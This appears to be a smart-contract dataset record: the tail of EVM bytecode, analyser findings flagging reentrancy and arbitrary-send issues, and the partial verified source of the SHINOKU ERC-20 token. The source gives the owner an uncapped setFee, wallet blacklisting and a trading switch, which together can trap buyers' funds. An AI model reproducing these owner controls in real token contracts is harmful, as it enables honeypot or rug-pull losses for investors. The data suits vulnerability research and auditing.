6565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a3b4dd69f03316c87b6d2f8e50c45c12d4866d82b84971ede8248775547c3def64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,809 |
0x78741a54f88aa3d2d1f17e56ea63c026adb32b5b
|
/**
*Submitted for verification at Etherscan.io on 2022-04-28
*/
/*
SHINOKU ($SHINOKU)
Telegram: https://twitter.com/ShinokuToken
Website: https://shinokutoken.com
Telegram: https://t.me/shinokutoken
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHINOKU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SHINOKU";
string private constant _symbol = "SHINOKU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0; //
uint256 private _taxFeeOnBuy = 10; // 10% Buy Tax
//Sell Fee
uint256 private _redisFeeOnSell = 0; //
uint256 private _taxFeeOnSell = 12; // 12% Sell Tax
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x25063669B557E5cDDda8a1c1fD577aa348189D71);
address payable private _marketingAddress = payable(0x25063669B557E5cDDda8a1c1fD577aa348189D71);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9; //
uint256 public _maxWalletSize = 15000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
